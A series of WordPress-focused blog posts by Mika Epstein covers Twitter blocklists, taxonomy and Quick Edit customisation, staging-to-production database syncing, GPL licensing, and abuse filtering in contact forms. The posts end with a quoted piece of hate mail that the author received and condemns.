Out of GamerGate, the amazing Randi Harper created [Block Together](https://blog.randi.io/good-game-auto-blocker/) which allows you to block everyone associated with the nasty parts of the whole mess.
To use it, it’s two steps.
1. Sign up on [Block Together](https://blocktogether.org/)
2. Click on the link to [@randi\_ebooks’s list](https://blocktogether.org/show-blocks/5867111278318bd542293272f75147f8fc5931bea431e7ca16e9242964965d66494a6fb68f3518b82f171bcf0e419ccc) and press subscribe
That’s it. Once you do that, you’ll automatically block the masses. But this goes far further than Gamer Gate. By making a blocklist of your own, you can manage the people who regularly harass, offend, or otherwise make your life on Twitter miserable.
I’m a firm, devoted, supporter of freedom of speech. I also defend my right not to listen to someone I don’t want to hear. I don’t *have* to listen. Those blocklists can be incredibly useful to share with people, like your friends and people who face similar harassment, so you can protect yourself.
> Sharing your block list
>
> If you choose to share your block list with friends, Block Together will create an unlisted, unguessable URL to access your block list. You can share the URL by email or Direct Message if you want to keep it private among friends, or you can tweet the URL if you are okay sharing your block list publicly. You can always disable sharing from the Settings page. If you do so, the URL to access your blocks will be deleted forever. If you choose to share again in the future, you will create a new, different URL. If you choose to disable sharing, you need to separately remove any subscribers you no longer want, on the Subscriptions page.
>
> Many people find that they don’t want to share their block list because they find there are accounts on it they don’t remember blocking, or that aren’t particularly abusive. This is partly because Twitter, for a long time, did not offer Mute. So if you wanted to stop seeing a merely unfunny account that gets frequently retweeted, blocking used to be the only fix. Now Twitter offers Mute, so you can Mute those accounts instead. Block Together makes it easy to remove them from your shared block list with the ‘Unblock and Mute’ button on the My Blocks page.
I don’t public share my list. I have shared it to a few people, but since I block rather than mute people, it’s very easy for people to take offense at me putting them on the list. To me, blocking someone means “I don’t chose to have conversations with you in this manner in Twitter.” There are companies of friends I’ve blocked because they follow me to Twitter after a conversation on the Plugin Repository team.
Actually for me, most of my blocked people are either people who have violently responded to social activism tweets, people who tweet me thinking that’s a faster way to get their plugin approved/reviewed, people who are implicitly aggressive towards me without taking the time to learn the whole story, concern trolls, and passionate people who have gone overboard.
Yes, I block people who ping me about their plugins. My Twitter account is not the right way to address those things. Neither is Facebook. People who cannot respect the fact that I’m not working 24/7 don’t deserve my attention. I block them, and all the begging in the world won’t change that. I block probably faster than most people would consider ‘fair’ but it’s my Twitter account, not theirs, and I have a way I wish to control access and information. I need a reason to block people, but I’m not required to explain that to everyone.
But if I make that list public, people would probably use it as leverage to harass me more or treat me worse. They have in the past. It’s the double edged sword where I want to help my friends but I need to protect myself. For now, my list will be private to people whom I know well only, and who won’t take it as offensive.
**Categories:** How To
**Tags:** essay, freedom
---
### [Hiding Custom Taxonomy Parents](https://halfelf.org/2016/hiding-custom-taxonomy-parents/)
**Published:** July 20, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Short and simple (and effective) way to prevent people from manually making children categories.
**Content:**
I have a few custom taxonomies that I want to be shown as textboxes and in order to do that, the simplest way is in the custom taxonomy, you set them up as hierachical true. This makes them behave like categories. The problem is I really *don’t* want these things to be hierarchical. That is, I don’t want people adding in a parent/child relationship.
The simplest way around this is to cheat with CSS:
That hides the parent value. In order to have it show on the proper pages, I put it in a file called `shows.css`, in the same folder as my `shows.php` file that controls all the settings for the shows CPT (this includes the custom taxonomies used by shows) and wrapped it in this:
Now you can’t see that there are parents. Perfect. Done.
**Categories:** How To
**Tags:** categories, coding, wordpress
---
### [WordPress Multisite: Block Site](https://halfelf.org/2016/wordpress-multisite-block-site/)
**Published:** July 18, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not actually very easy to protect yourself online when you can't block people who are offensive or abusive.
**Content:**
This came up when I was looking at WordPress.com, where one has the freedom to post anything [within their ToS](https://en.wordpress.com/tos/), and I saw someone’s moronic blog about how specific people were evil. Pick whatever you want, it doesn’t matter except assume it was something offensive to a minority.
The Terms of Use says this:
> In particular, make sure that none of the prohibited items (like spam, viruses, or serious threats of violence) appear on your website.
This was not a serious threat of violence, it was just ignorant, offensive, and stupid. I looked at the site and thought “What I want most in this moment is a big ass button to block this person from posting on my .com site, and to prevent them from ever being able to comment on any blog I own.”
It doesn’t exist. (I will note I found [BuddyBlock](http://www.philopress.com/products/buddyblock/) but I have no idea how well that would work, and it’s for BuddyPress only.)
Part of the cool thing about WordPress Multisite is that you can run your own social network. With that power comes responsibility though. Users should be able to protect themselves while remaining on your network, allowing them to block other users they just don’t want to talk to.
So why don’t we? Well effective blocking is hard. As I mentioned in my post about how (most) [contact forms fail at this](https://halfelf.org/2016/mailbag-contact-forms-fail/), the biggest issue is people can just fake who they are are try again. This is a little harder on a Multisite, where a legitimate email and account can be required to comment, but by default all members of a network can comment on any blog on the network. This means we’re opening ourselves up to the potential to more abuse.
How would that big block work? There are a few approaches and I think the best route would be two fold.
## Blocking Users
Everyone should have the ability to mute or block a user. As an end user, if I never want to see comments from John Smith again, I should be able to press ‘block.’ Then I would just see a note like `[comment hidden]` whenever I run into a comment from him on any blog on the network. On a non Multisite, I’d actually like to see that for any site that requires registration. Allow users to mute each other.
As an admin, if I block John Smith, then his comments are immediately discarded. If you wanted to get fancy, then you’d hide his comment from everyone who isn’t him, so he thinks he’s still talking to people and just being ignored. A silence mode. Use some JS so an admin has to click to expand and see what’s going on, so if John Smith is escalating, he can be banned.
That would be the other thing. Banning users from your sites on a Multisite should be totally possible. And on .com a way to report “User X keeps working around my blocks.” would help a lot.
Also for admins, perhaps they should be able to see “X people have blocked this user” on the Dashboard. That said, I can see a massive possibility for abuse with that. If John Smith was an admin of his own blog and saw ’10 people blocked you…’ it could cause problems. It would be trivial to hide it from the user, so you could never know how many people blocked you, but I can think of a few fast workarounds. Easiest is to add a second admin account to my own blog on the network and check.
## Blocking Blogs
This is mostly an issue on WordPress.com, since it’s one of the few places I know of that has a ‘reader’ that shows you blogs that you might be interested in. That’s how I found the offending blog, by the way. A friend runs a religious blog on .com and the one we both found appalling was a *recommended blog* to her. I’ve already talked to some people behind the scenes of .com about that and how the algorithm may need some turning. But even if she had stumbled on to it via a search, should she not be able to say “Ew! Block!”
I would write it so that if someone clicked ‘block blog’ the following things happen:
1. The owner of the blog is blocked from commenting on any blog I own
2. The URL of the blog is placed on my blacklist
3. Optionally, all admins of the blog are added to my blacklist
Now I don’t have to see anything anymore.
**Categories:** How It Is
**Tags:** coding, essay, multisite, wordpress
---
### [A Monstrous Regiment of Content](https://halfelf.org/2014/a-monstrous-regiment-of-content/)
**Published:** February 12, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ruminations on the monstrous combination of an installation being managed in a overly complicated way.
**Content:**
Any similarities to website configurations, current or defunct, is probably somewhat intentional. But I’m not naming names here in this tale of woe.
## The situation:
You have your website: domain.com
You have a staging version where you test all your code: stage-domain.com
Your coders edit the theme code, install plugins, configure them, etc. At the same time, your editors edit content, make posts, etc. The code (plugins etc) is managed by Git because you know you should be using versioning. The posts are not because… WordPress.
## The Problem:
In order to post content, you have to push code *and* content up to the production server. This means that if you’re trying to upgrade WordPress, you have to put a hold out on content until the upgrade is done. How do you keep the two in sync, without goobering your content?
## An Answer:
Decouple content and code.
First let’s version control the php files. This means your themes and plugins will all be edited on staging, and when you’re done, you check the code in and then check it out on production.
Next we attack the DB. Have a job that, when you check out files in production, it copies up **only** following tables:
```
_options
_users
_usermeta
```
This means that all your code (plugin settings, theme settings, etc) gets pushed live, and all your content remains isolated. If you have extra tables, you may need to make allowances for them (like, say \_podpress or \_badbehavior), but you can find them quickly looking at the current DB. You’ll want to add these as necessary, or not. I’d count `_podpress` as ‘content’ and leave it out (we’ll get to what to do with it in a second), and `_badbehavior` as transient data.
On production, you have your content makers be Editors. They edit the content live (because you trust them). If you want to be extra secure, lock down the server via IP rules. At the end of every day, run a reverse sync, where the staging DB’s posts and content are replaced by the live site’s, thus ensuring everyone has the ‘live’ data. Obviously you’d want to script in a serialization safe search/replace after every sync (and have an auto-backup taken before any messing about starts).
It’s in the copy back that we decide what to do with the other files. Either make an exclude list or an include list, whichever makes you feel safer.
Includes would be:
```
_commentmeta
_comments
_postmeta
_posts
_terms
_term_relationships
_term_taxonomy
```
And then anything else you want like `_podpress` (see? I told you I’d get back to this).
Excludes would be anything I have in my push script from before, so `_options` etc. To this I’d also add `_badbehavior` or anything transient. I don’t really need it.
## Pitfalls:
Content isn’t just posts and pages. What if your ‘editors’ need to edit widgets?
What if they don’t? StudioPress’s Genesis Framework has a totally awesome widget called “Featured Page” which lets you pick a page, check options, and off you go. What if you had a page called ‘Header Widget’ and in your widget area for Header, put that widget, pointed it to that page, and checked ‘Show Page Content’? Now your editors just need to edit that page!
What if they still do? Grab a plugin like [Members](http://wordpress.org/extend/plugins/members/) and make a special role for “Super Editors” to let them make widget changes. Of course, now you have to uncouple `_options` and you’ve lost some of the magic here. This is a bad idea. You want to decouple content and code. Using Widgets for this is a cool idea, but what if you did it another way entirely. What if instead you used custom post types, and just had it show the most recent in the ‘spot’ for that header? Say you wanted an ad to show at the top of the page. Make your CPT for ‘header ads’ and write a post. Then schedule another for Wednesday at 3pm. Boom, your ad gets replaced! This also makes it easy to go a step further, make a Role for Marketing or Advertising, and now only they (and admins) can mess with ads. Downside there is you may end up with a lot of CPTs.
What about when WordPress updates? Well, that’s something to be careful over. If you update staging to (say) 3.5.1, but production is on 3.5, the tables *will* get updated. Thankfully, WordPress *rarely* messes with posts and comment tables. The ones that normally get poked with an update is \_options, and we’re syncing that anyway. Still, you should set aside some time to test in staging before you go ahead and push this. Since we’re only posting content on production, this will have no impact on your editors.
## Alternatives:
Put the content tables on another database. While WP doesn’t make it as easy as it does for [custom user and meta tables](http://codex.wordpress.org/Editing_wp-config.php#Custom_User_and_Usermeta_Tables), certainly you should be able to fiddle with that. Then just sync the rest of the tables. Code like [hyberDB](http://wordpress.org/extend/plugins/hyperdb/) already lets you split the DB for load balancing, so you could fork that.
Or … Sync the whole database. But that defeats the purpose.
**Categories:** How To
**Tags:** deployment, wordpress
---
### [Adding Post Meta Data to Quick Edit](https://halfelf.org/2016/adding-cmb2-data-quick-edit/)
**Published:** July 13, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A practical example of adding post meta data to quick edit, and wondering why we have to cry so much when we do it.
**Content:**
After Monday’s post, where I [added custom taxonomy data to Quick Edit as dropdowns](https://halfelf.org/2016/customizing-tax-quick-edit/), you know I had to tackle adding more data. While most of my data is custom taxonomies, some is post-meta and one is a weird cross-relational CPT to CPT(s). CMB2 themselves noted that [this isn’t something easy to do](https://github.com/WebDevStudios/CMB2/issues/95). But I had already tackled this in one way and felt confident.
When I showed my initial function to add the quick edit box, you may have noticed I had multiple cases:
I actually added in the values for gender when I did the sexuality. I renamed the cases from just ‘roleype’ to ‘postmeta-roletype’ and ‘shows’ to ‘cpt-shows’ in order to help remind me what was what. WordPress itself adds in `taxonomy-` as a prefix for taxonomies, so it was in-keeping with the theme.
In order to add the new code for roles, I edit my case for `postmeta-roletype` in `lezchars_quick_edit_add` and everything will be awesome. I just have to get the data, validate it, sanitize it, update it, and javascript it.
Here we go!
## Understanding the Data
In order to know *how* to save the data, and how to get it, we should understand how we’re creating it in the first place. Like I said before I’m using CMB2. I do this on a post by post basis. This means my code is going to be saved as post meta. I know that for extracting and updating that data I’ll need to know three things: post ID, post meta key, and post meta value.
I have a global variable `$lez_character_roles` which allows me to use the same data in my CMB2 array for this data and I’ll be able to reuse this all over the place. The array keys are the slugs (regular, recurring, guest) and the values are the names (Regular/Main Character, etc…).
I’m already extracting the data for displaying in the custom column. While my custom column code covers both the shows CPT stuff (which is complicated in order to handle multiple shows), I’m only going to concentrate on adding the post meta data for role type. Here’s the code:
As you can see, the line `echo ucfirst(get_post_meta( $post_id, 'lezchars_type', true ));` is super straightforward. That’s why we’re starting with this. Oh and the reason it’s set to ‘true’ is that a character should only have one role. Admittedly, this gets weird when a character is regular, then leaves and comes back as a guest, but we default to ‘highest role applicable.’
Of note, this shows the role ‘key’ (‘recurring’ vs ‘Recurring Character’) but that’s okay. If I was to show the full data here, it could make the page very content-heavy. I wanted to avoid that. If, instead, I wanted to show the display name, I’d add a global for `$lez_character_roles` (see how that array pays off?) and then change the case to do this:
For my use case, the simpler method is enough.
## Making the Dropdown
We’re going to use the same function we used last time, `lezchars_quick_edit_add`, and add in a switch for the column name `postmeta-roletype` with this (omitting other cases for brevity):
That array for my roles really makes life easier here!
I will note, in retrospect making the character roles a taxonomy would have made a lot of other things easier when I started making the pages for statistics, but that’s another post.
## Saving the Data
Again, we’re re-using what we have. Remember the function `lezchars_quick_edit_save`?
Here we’ve added our global for the character roles again, because we want to make sure the role is a legit role before we save it. Like `update_option`, the `update_post_meta` function will add the meta field for the post if it does not exist. Makes our life super easy, doesn’t that?
## Javascript Hell Again
Now the shit I hate. Again, since we can’t pass post data to quick edit natively, we have to use javascript. We use our two functions for that:
and
This works. It’s ugly as hell, but it works. Sadly it’s broken. If you quick edit twice, it shows the first values. I’m sure I’ll figure that out eventually.
**Categories:** How To
**Tags:** coding, javascript, post meta, quick edit, wordpress
---
### [Customizing Taxonomies as Dropdowns in Quick Edit](https://halfelf.org/2016/taxonomies-dropdowns-quick-edit/)
**Published:** July 11, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Customizing Quick Edit to show
**Content:**
When you go to quick edit for a post, you will automatically see your custom taxonomies as editable fields:

But there’s a problem … I don’t want these to be text fields nor do I want them to be checkboxes. When it’s just you running a site, there’s less to worry about with regards to these things. You know what you’re adding, and if you typo, you blame yourself. At the same time, WordPress only has two options for these sorts of things: tags (freeform text) and categories (checkboxes).
Technically they’re settings for hierarchical, where false is text and true is checkboxes, and I’ve hidden the parent field (a topic for another post). But doing that makes them all check boxes, and I want to restrict people to *one* and only one checkbox. Except I don’t. The UX of having checkboxes vanish is pretty shitty, and it isn’t logical that you would only check one box.
Let me explain. In this example, which is practical, I have a taxonomy for human sexuality. I chose taxonomies and not post-meta because that would allow me to sort much more easily on data by groups. Simply, I can grab a list of all people who are flagged as ‘pansexual’ with one function and not have to reinvent the wheel.
That means I can use radio buttons or a dropdown. I feel a dropdown is a better, cleaner, UX, so that’s what I’m going to do. You can use the same logic here, though, so don’t worry.
After reading [ShibaShake’s documentation on adding in quick edit values](http://shibashake.com/wordpress-theme/expand-the-wordpress-quick-edit-menu) I winced. Adding it with `quick_edit_custom_box` is super easy. The problem is that you have to use an incredibly weird amount of javascript to get the post ID and pass data back and forth. As weird and annoying as that was, it actually works. The example, of course, is comparing a CPT, where as I am using a custom taxonomy, so my own code was a little crazier.
## Remove the taxonomy from Quick Edit
To do this starts out sounding like the stupidest idea ever, but you want to set `show_in_quick_edit` to `false` in your taxonomy. That does what it sounds like, removing the item from the quick edit page. Obviously now I have to add it back.
It’s important to note that if you don’t have any custom columns in your post list view, the rest of this won’t work. I do, and since part two of all this will be about being able to edit those custom columns, I don’t have to worry. If you do, here’s how you add a fake column… Ready? You add *and* remove the column. I know, I know, WP can be weird:
Like I said, I know it’s weird.
## Add the Quick Edit Box
Since I know I’m going to be building out a few more of these, and one is a cross-relational CPT to CPT drama, I’ve broken mine out into a switch/case basis.
This is all pretty basic stuff. I’m simply making a form for a drop-down based on the contents of my taxonomy. If you want to make it radio buttons, do that.
## Saving The Changes
Now we’re getting a little weirder. We need to save our changes, but only if it’s *not* an auto-save, and if it’s the correct post type (`post_type_characters` for this page), *and* if the user can edit the page:
The two checks going on here are first to be sure it’s the right `POST` action to save on, and then to only update if the term already exists. If you wanted to append terms instead of replace, you could add a ‘true’ param to [wp\_set\_object\_terms](https://developer.wordpress.org/reference/functions/wp_set_object_terms/), however I want only set one sexuality per person in this case.
At this point, the code actually works!

## Changing the current selection for the dropdown
There’s one problem though. If you’re working along with me this far, you’ll have noticed that the default selection is *always* ‘(Undefined)’ and that’s not what we want. The extension of this problem is we have to use bloody javascript to edit it. Damn it.
Please don’t ask me to explain that. And yes, I know we should be using [Unobtrusive Javascript](http://en.wikipedia.org/wiki/Unobtrusive_JavaScript) and hooking into the DOM instead, but I don’t yet know how to do that.
I do know that if I wanted to add in multiple checks, one way is to duplicate the `function set_inline_lez_sexuality( widgetSet, nonce )` and rename it to `set_inline_lez_gender` and then extend the actions like this:
There are more combinations and concatenations one can do here. Knock yourself out. It’s enough javascript for me today!
**Categories:** How To
**Tags:** categories, javascript, taxonomies, wordpress
---
### [Looking Back at MovableType](https://halfelf.org/2016/looking-back-movabletype/)
**Published:** July 15, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** MovableType still feels very early 2000s.
**Content:**
For the first time in years, I looked at Movable Type.
I walked away, like so many people, in May of 2004 when the restrictions and pay requirements were too much. I’d played with b2 before and WordPress, but that was when I fully moved to WordPress. While I’d remembered that the Open Source version had been fully restored in version 3.3, I forgot that when they released v6 in 2016, they [‘terminated’ the Open Source licensing option](https://movabletype.org/news/2013/07/license_change_on_movable_type_6.html). Again.
In doing normal research of things, I ended up on MovableType.com, and was struck by how modern and out of date the site felt.
The site isn’t mobile friendly. Or at least not iPad friendly. It does this peculiar zoom in where the content is focused but it still has a sidebar. This means flicking down to read can causes my screen to wobble side to side as well. The zoom also didn’t work consistently, making me have to fix it over and over.
That said, it has a much nicer design and layout than I expected.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/07/image.png)
I have to say, that’s a much more modern front page than WordPress.org and less cartoony than the current WordPress.com pages. The same can’t be said of navigation, which was a little confusing. If you don’t know you have to purchase to download, seeing the Software License section without clarification is weird. That should be even more obvious, I think. I shouldn’t have to click on “Release Notes” and then see [Install MT](https://movabletype.org/documentation/installation/) on the sidebar.
Once I ended up in the documentation, I poked around and had a laugh at the [software requirements](https://movabletype.org/documentation/system-requirements.html#php).
> PHP 5.0 or higher (5.3 or higher is recommended)
Sounds familiar, doesn’t it?
The rest of the [install direcrions](https://movabletype.org/documentation/installation/install-movable-type.html) are incredible weird and hands on. It has none of the simplicity I’ve come used to with WordPress. And please remember, I think that WordPress is far too complex for a new user, still, because WP’s NUX sucks. MT’s is worse.
What interested me the most is that, while you can’t get MT for less than $900, they have a [public GitHub repo](https://github.com/movabletype/movabletype) available.
Still, I didn’t install it. Instead I read the documentation to see what using it would look like, and was rather startling to read the [author page on creating entries](https://movabletype.org/documentation/author/creating-entries.html) and see an interface that looked old.

It reminded me of WP 2.5. Which I guess is understandable since the documentation on how to import from WP to MT is very old. [No, I’m serious, it has screenshots of what looks like WP 2.5 as their documentaion](https://movabletype.org/documentation/installation/moving-from-wordpress-to-movable-type.html).
While I still think that MT lost out big time when they decided to separate from the Open Source community, their product doesn’t draw me in. It doesn’t look fun or nice to use, and that’s probably a reason it’s not as popular as it could be. The GitHub page has 22 contributors. WordPress 4.5, led by my coworker and friend Mike, had [298](https://wordpress.org/news/2016/04/coleman/). Even the official, but not really used like that, WP GitHub repo has over 30 contributors.
I wonder how the web would have looked if Six Apart had never made the license changes.
I wonder would power 26% of the Internet in that world.
**Categories:** How It Is
**Tags:** essay, freedom, open source
---
### [What Are You Paying For With That License?](https://halfelf.org/2016/paying-license/)
**Published:** July 6, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What are we selling and what are we getting when we buy software?
**Content:**
My friend Andrea recently complained about confusion between support licenses and the GNU Public License:
https://twitter.com/andmiddleton/status/747548520840728580
https://twitter.com/andmiddleton/status/747555343371141120
This lead to a WP Tavern post about how [Commercial WordPress Product Descriptions Can Mislead Customers into Purchasing More Licenses Than Necessary](https://wptavern.com/commercial-wordpress-product-descriptions-can-mislead-customers-into-purchasing-more-licenses-than-necessary).
## GPL Freedom to Use
WordPress is licensed as [GPLv2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) and in the preamble it says, rather boldly:
> The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software–to make sure the software is free for all its users.
The GPL is intended to be about freedom in the code you acquire (be that for free or for purchase) and your ability to reuse it as you see fit.
If you really want to understand the GPL and WordPress, I highly recommend you pick up [A Practical Guide to WordPress and the GPL](http://wpandlegalstuff.com/a-practical-guide-to-wordpress-and-the-gpl-get-it/). It’s actually written by a lawyer and it’s $25 for the ebook, which seems like a lot until you realize that to hire a lawyer to go over all this would be over $400.
The point for this post is pretty simple though. The GPL gives the user of a theme or plugin in WordPress the freedom to use the code as many times as they want, on as many sites as they want, for as long as they want.
## The Restrictions of Products
I purchased a theme called [Utility Pro](http://www.shareasale.com/r.cfm?b=778546&u=728549&m=61628&urllink=&afftrack=) from Carrie Dils. I love that theme. On her site, the various licenses are restricted by support.
- Support for 1 Site
- Support for 5 Site
- Support for 25 Site
All licenses come with “1 Year Support and Upgrades” and the ‘pro’ version has these extras:
- DesktopServer Blueprint (quick setup for DesktopServer users)
- Developer’s Edition (Grunt, Sass, and more)
- WP Development Workflow course
What am I paying for here? Support for X sites for 1 year, and updates. It doesn’t say if the updates are for all my sites, but I’m going to assume that if I get support for 5 sites, I get upgrades for 5 sites. The thing here is that the GPL would allow me to install this theme on 250 sites if I wanted, and not only can Carrie do ‘nothing’ about it, but she wouldn’t care. She knows how the GPL works, after all.
This still leaves me with a couple questions:
*If I pay for support for one site, what happens when I put my license on two sites?*
The best case scenario would be I’d get a message telling me that I’ve used up the sites available to my license, and I’ll have to remove one to add another. I’d add in a link to buy more licenses personally.
*What’s to stop me from lying about the site I’m having a problem on?*
Well … Nothing. And unless I need Carrie to log in, she’ll never know! Even if I did let her log in, I could show her a demo site and explain “I’m working on a new version of my site and this is my code…” Which is a totally legit reason to be testing out her code on an ‘unlicensed’ site.
*Can she stop me from copying the updated version to an unlicensed site?*
Nope! In fact, if I’m super smart, I’ll always leave an unmodified version on a site that gets updates, and then use that as my base to update anything I’ve forked. Oh, and my version is so forked, it’s practically not her theme anymore. But that’s okay. I renamed it from `utility-pro` to `utility-jo` (it’s funnier to me).
## Change What We Pay For
I’m going to propose a different way to handle licenses.
Instead of paying for X number of sites for support, pay for X years of support + updates + features.
That’s right, I’m suggesting this price point:
- $80 for 1 year of support and updates on unlimited sites.
- $200 for 3 years of support and updates and those nifty things on unlimited sites.
The word ‘unlimited’ may sound terrifying. If you allow unlimited usage, what’s to stop me from opening a million tickets for my million sites for help? Nothing. Not a damn thing. Except there’s nothing stopping me from doing that right now anyway except my own pathological honesty when it comes to respecting the work of others.
The people who will abuse this system are, for the most part, the people who already are. All the license has to check is “Is this license valid? Yes? Push the update!” Now the theme developer will always be pushing her latest, most secure, code to everyone, which is a win all around. Oh yes, did you think about that? If everyone always gets an update, then everyone always has the ability to be secure.
Now there is one big pain point here. What if I give someone else my license key?
Well… What if you just give away updates anyway?
[Genesis](https://helf.us/genesis) does. No license check needed. I can take my Genesis core theme, install it on any site, and if it’s out of date, I get an update alert.
If you buy their Pro Plus All-Theme Package, it works like this. You shell out $499.95 at first and then $99.95 per year for access to every single theme they make, plus 3rd party themes, plus theme updates, plus support.
The thing is I never put in a license number to Genesis core or my children themes. Ever. The updates just happen, even if I don’t have an account. So what am I paying for with Genesis? I’m paying for the code base, the support, the advanced documentation, and the access to everything I may need to make my site damned awesome.
## But What About Big Changes?
The game is a *little* different with plugins. See, a theme actually rarely changes. Once you’ve made a theme, it stays roughly the same except for library updates and security issues. A plugin though, they can add new features. So instead, let’s take a page from the Apple. The Apple App Store *does not* charge you for updates. They charge you for mini-transactions which, love ’em or hate ’em, actually work. If you need to charge for an update, you make a new version.
Think about that for a second. In the App Store, version 4.1 is a *minor* release, but version 5.0 is a *major* release. This is not the same as WordPress’ semantic versions where 4.1 and 5.0 are both major releases, but 4.1.2 is not. When someone has a major release on the App Store, they retire their existing app and add a new one. The upgrade process *mostly* works. There’s always a weird period of time where things are odd.
When we look at plugins, it’s a heck of a lot easier but you would have to use a license check to restrict updates. Using your licenses and the plugin headers, you can check “If someone’s on version 4.1 and I have released 5.0 and their license is active, push the update.” That’s the easy check. The fun check would be “If someone’s on version 4.1 and I’ve released both 5.0 *and* 4.2, but the license is *not* active, update them to 4.2 only.”
Hold the phone. Why am I saying this? Because *now* you’re pushing *security* updates to your 4.x branch while not giving someone the new 5.x features. You win, because you’ve made the internet safer. The user wins, because they’re safer and possibly inclined to trust you more. Slip in a little alert to the top of the 4.x admin screens to say “There are new features in version 5.x. Upgrade now for 30% off!” and you’ll be converting sales!
While someone *could* change their plugin headers to lie and say that their 4.x version is really a 5.x version, there’s no benefit to them to do this if you’re simultaneously requiring an active license.
## So What Does This Have to Do With GPL?
Going back to what Andrea said, it makes it clear what your freedoms are.
You can take code, install it where ever you want, and no one should actually give a damn. But by making updates easier, companies have to worry less about people wrangling, leaving them free to handle the egregious issues, like reselling.
- The GPL allows me to take StudioPress themes and resell them if I want.
- StudioPress has the right to delete my account and break my ability to update if I do that.
Without touching on the hot-button topic of the ‘spirit’ of the GPL, we’re talking two separate things. The GPL allows me to do what I want with the code. The terms of use of StudioPress as a service, providing me with updates, is not bound by the GPL, nor should they be. But Andrea’s point, that our terms of use and licensing (billing) structure can confuse people with regards to our GPL freedoms, is totally valid.
The onus is on the seller, not the buyer, to explain the difference between the GPL freedoms (do what you want, basically), with the Terms of Use freedoms. GPL doesn’t give you the freedom to defraud a company, for example. If they chose to cancel your account because you resold their product, that’s their right. Your freedom to resell is not impinged by the GPL. You can go for it. But they aren’t obligated to give you free updates anymore if that’s the case, and they can probably slap you with a c&d order.
The point is the GPL and its freedoms *can* live side by side with making a profit. We just have to be honest about what we’re selling. We’re not selling the code at all, we’re selling the service.
**Categories:** How It Is
**Tags:** business, essay, license
---
### [Not Mailbag: Where Contact Forms Fail](https://halfelf.org/2016/mailbag-contact-forms-fail/)
**Published:** July 8, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Protecting yourself from abuse and harassment in comment forms seems to be a white whale.
**Content:**
My friend Andy, [reading last Friday’s post](https://halfelf.org/2016/mailbag-life-without-contact/), remarked no one should have to put up with crap like that. He’s right, and I mentioned that most contact forms don’t allow you to filter via your WordPress blacklists or comment moderation settings.
Surprised?
You should be.
Back in March 2014, I raised this with Jetpack, saying that the [Feedback ignores Blacklists](https://github.com/Automattic/jetpack/issues/430).
> You have a moderation list and a blacklist.
>
> You have a user you want to block from commenting forever. You add them to the blacklist. Surprise! They can still use the feedback form!
>
> This should behave just like the blacklist on comments: It blackholes them. Done and gone. After all, you didn’t want them around.
>
> Logically I can see why it doesn’t use the comment checks. If you have a check to only let users who have an approved comment, leave more comments freely, this would be a problem. There’s no ‘pending’ value for feedback.
And the first reply … Well it made me mad back then. I say this as someone who is good friends with the fellow who commented, but back in 2014, I wanted to smack the back of his head.
> This would be super easy to get around, just changed the alleged from email address. Besides, blacklist tends to be things that shouldn’t be displayed publicly automatically, allowing contacts would let them appeal the blacklist.
>
> I could see grounds for adding a filter to have grunion follow the commenting blacklist though. Less sold on an admin option.
Now go back and read last week’s post. I have not blacklisted the rather vile word used in that comment because I have a friend who is dyslexic and often says ‘cuntry’ instead of ‘country.’ It’s an honest mistake on her part. We added in an autocorrect to her phone and tablet. But blocking short words is hard. Still. The IP address? You bet that hit my blacklist.
If I still had a comment form, that moron could still harass me.
As I replied to George:
> Sure, and it’s just as easy to get around the current blacklists in WP. The point is, though, if you’ve put someone’s email on your comment blacklist, the assumption can be made that you have a good reason. You DON’T want this person commenting on your site, so why are you making it easy for them to harass you? And yeah, I used ‘harass’ intentionally.
>
> Certainly I can and do block their emails on the server, but I still have to go in and clean out the messages in feedback once and a while, and I for one get a lot of pretty vile garbage from people. So having one less place to have to read their BS would be beneficial.
>
> It’s always been relatively easy to work around if you’re a dedicated troll, but if the blacklist just blackholed their contact messages, it does a lot for your mental health.
Because he’s right that a dedicated asshole will work around the blacklists. They do it today. Still, I feel there’s no reason to make it *easier* for them. And while I can block from a server level, not everyone has my skills. And for those people, should we not introduce Akismet level scans on feedback forms?
You see, the reason I was mad at George back then is his argument felt like he was saying “since it can be worked around, this is a bad idea.”
That is *absolutely* not what he meant.
Even if I didn’t know George well, I have simple proof he didn’t think this was a stupid idea, he thought it was an idea that begat caution. What proof? He didn’t close the issue. In fact, he gave it a milestone to review.
Now, sadly, it’s been two years with no traction. Every so often someone bumps the milestone, which means it’s among the 600+ tickets that need attention. But it lingers. It’s not a priority.
Jetpack and Akismet are both owned by the same company. If you have the Akismet plugin installed and activated, and have an active subscription, every form submission will be checked for spam.
They need to take it to the next level. So do *all* forms plugins. From what I can tell, Ninja Forms has a field [simple spam prevention](http://docs.ninjaforms.com/customer/en/portal/articles/2045697-faq?b_id=9172#faq_antispam) but no blacklists. Gravity Forms has an old, not-updated, 3rd party plugin for a [Gravity Forms Email Blacklist](https://wordpress.org/plugins/gravity-forms-email-blacklist/).
In fact … the only contact form plugin I could find that actually uses WordPress’ built in blacklist would be Takayuki-san’s [Contact Form 7](http://contactform7.com/comment-blacklist/).
Let us protect ourselves from abuse.
**Categories:** How It Is
**Tags:** harassment, mailbag, spam
---
### [Mailbag: Life Without Contact](https://halfelf.org/2016/mailbag-life-without-contact/)
**Published:** July 1, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I don't really miss that contact form at all.
**Content:**
It’s not a secret I [deleted my contact form](https://halfelf.org/2016/mailbag-contact/) back in February. It’s been a few months since, and for the most part it’s been the greatest feeling when it comes to writing for this site.
I do miss the random cool questions people had that would lead to new posts. But that is really it.
The hate mail is a lovely thing to not get. Oh sure people still leave comments in whatever open post they can to tell me off, but those never see the light of day.
Let me just share with you the *common* sort of hate mail I get. Please note, this is word-for-word what was said. The only part I redacted was exactly what I’d done (and to whom) to deserve this.
> You are a real piece of shit. Someone came to you with respect and in good faith to ask you but a simple request \[…\] and you chose to fucking lecture them?
>
> Congrats at showing what an insipid androgynous cunt you are.
> You’ve now lost another user
